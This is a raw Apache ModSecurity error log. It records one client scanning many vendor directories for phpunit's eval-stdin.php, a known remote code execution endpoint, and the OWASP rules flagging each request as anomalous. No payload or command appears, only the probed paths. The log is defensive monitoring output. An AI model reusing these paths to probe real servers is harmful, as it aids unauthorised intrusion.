[Fri Jul 17 10:23:06.223487 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MjuaDdNRw9_WO14xvAAAAAg"]
[Fri Jul 17 10:23:06.223926 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1MjuaDdNRw9_WO14xvAAAAAg"]
[Fri Jul 17 10:23:06.224612 2026] [security2:error] [pid 2075904:tid 2075904] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1MjuaDdNRw9_WO14xvAAAAAg"]
[Fri Jul 17 10:23:06.262537 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.467245 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.576083 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.685339 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.777853 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.855921 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Mswb7ueECO0vce5szQAAAA8"]
[Fri Jul 17 10:23:06.856014 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Mswb7ueECO0vce5szQAAAA8"]
[Fri Jul 17 10:23:06.856081 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Mswb7ueECO0vce5szQAAAA8"]
[Fri Jul 17 10:23:06.856469 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1Mswb7ueECO0vce5szQAAAA8"]
[Fri Jul 17 10:23:06.857137 2026] [security2:error] [pid 2076188:tid 2076188] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1Mswb7ueECO0vce5szQAAAA8"]
[Fri Jul 17 10:23:06.880473 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:06.986599 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.095548 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.195818 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.212815 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1M3HGgRvC9MVf3SzHmAAAAAI"]
[Fri Jul 17 10:23:07.212908 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1M3HGgRvC9MVf3SzHmAAAAAI"]
[Fri Jul 17 10:23:07.212950 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1M3HGgRvC9MVf3SzHmAAAAAI"]
[Fri Jul 17 10:23:07.213350 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1M3HGgRvC9MVf3SzHmAAAAAI"]
[Fri Jul 17 10:23:07.214214 2026] [security2:error] [pid 2075718:tid 2075718] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1M3HGgRvC9MVf3SzHmAAAAAI"]
[Fri Jul 17 10:23:07.297560 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.401994 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.502315 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.606018 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.697265 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:07.851011 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MxyL4_TKNgi7OLI3KAAAAB4"]
[Fri Jul 17 10:23:07.851125 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MxyL4_TKNgi7OLI3KAAAAB4"]
[Fri Jul 17 10:23:07.851168 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MxyL4_TKNgi7OLI3KAAAAB4"]
[Fri Jul 17 10:23:07.851625 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1MxyL4_TKNgi7OLI3KAAAAB4"]
[Fri Jul 17 10:23:07.852405 2026] [security2:error] [pid 2075690:tid 2075690] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1MxyL4_TKNgi7OLI3KAAAAB4"]
[Fri Jul 17 10:23:08.205514 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:08.207905 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1NFwhXK3LBDRkoRBT5AAAABY"]
[Fri Jul 17 10:23:08.207999 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1NFwhXK3LBDRkoRBT5AAAABY"]
[Fri Jul 17 10:23:08.208058 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1NFwhXK3LBDRkoRBT5AAAABY"]
[Fri Jul 17 10:23:08.208476 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "alm1NFwhXK3LBDRkoRBT5AAAABY"]
[Fri Jul 17 10:23:08.209087 2026] [security2:error] [pid 2076258:tid 2076258] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1NFwhXK3LBDRkoRBT5AAAABY"]
[Fri Jul 17 10:23:08.363284 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:08.363300 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:08.363490 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:08.381508 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:08.848661 2026] [security2:error] [pid 2075908:tid 2075908] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NEj_u9-aE9qeQW0clQAAAAk"]
[Fri Jul 17 10:23:08.848771 2026] [security2:error] [pid 2075908:tid 2075908] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NEj_u9-aE9qeQW0clQAAAAk"]
[Fri Jul 17 10:23:08.848811 2026] [security2:error] [pid 2075908:tid 2075908] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NEj_u9-aE9qeQW0clQAAAAk"]
[Fri Jul 17 10:23:08.849233 2026] [security2:error] [pid 2075908:tid 2075908] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NEj_u9-aE9qeQW0clQAAAAk"]
[Fri Jul 17 10:23:08.849894 2026] [security2:error] [pid 2075908:tid 2075908] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1NEj_u9-aE9qeQW0clQAAAAk"]
[Fri Jul 17 10:23:09.069352 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:09.175719 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input6/power/runtime_status"] [unique_id "alm1NR3_6y13_d3Np4_4qgAAAAE"]
[Fri Jul 17 10:23:09.175756 2026] [security2:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/subsystem/input6/power/runtime_status"] [unique_id "alm1NR3_6y13_d3Np4_4qgAAAAE"]
[Fri Jul 17 10:23:09.376573 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:23:09.479962 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content"] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [hostname "66.85.158.91"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NfTLXGCuVk4hiAO-CwAAAAs"]
[Fri Jul 17 10:23:09.480089 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NfTLXGCuVk4hiAO-CwAAAAs"]
[Fri Jul 17 10:23:09.480137 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/plain|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NfTLXGCuVk4hiAO-CwAAAAs"]
[Fri Jul 17 10:23:09.480564 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "alm1NfTLXGCuVk4hiAO-CwAAAAs"]
[Fri Jul 17 10:23:09.481249 2026] [security2:error] [pid 2075692:tid 2075692] [client 107.155.48.46:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/404.shtml"] [unique_id "alm1NfTLXGCuVk4hiAO-CwAAAAs"]
